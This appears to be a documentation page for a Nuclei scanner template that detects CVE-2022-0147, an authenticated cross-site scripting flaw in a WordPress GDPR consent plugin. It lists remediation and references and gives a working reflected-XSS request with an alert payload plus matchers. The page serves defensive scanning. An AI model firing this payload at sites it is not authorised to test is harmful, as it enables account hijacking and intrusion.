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WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting

ID: CVE-2022-0147

Severity: medium

Author: 8arthur

Tags: cve2022,cve,wordpress,xss,wp,authenticated,wp-plugin,wp-gdpr-compliance,wpscan,cookieinformation

Description

Section titled “Description”

WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0147


info:
  name: WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting
  author: 8arthur
  severity: medium
  description: |
    WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Cookie Information/Free GDPR Consent Solution plugin (2.0.8 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/2c735365-69c0-4652-b48e-c4a192dfe0d1
    - https://wordpress.org/plugins/wp-gdpr-compliance/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0147
    - https://plugins.trac.wordpress.org/changeset/2681371
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0147
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41295
    cpe: cpe:2.3:a:cookieinformation:wp-gdpr-compliance:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cookieinformation
    product: wp-gdpr-compliance
    framework: wordpress
  tags: cve2022,cve,wordpress,xss,wp,authenticated,wp-plugin,wp-gdpr-compliance,wpscan,cookieinformation


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x  HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'"
          - "toplevel_page_wp-gdpr-compliance"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a004730450220231063c8661f50c6ec1f76e711e7d6673f8416c3fad6f7074973784cf04a2be30221009aa12f9627a341b6f4ba81e23c0200e4e81c7646a21dcfb243ee422da4c6642d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0147.yaml"

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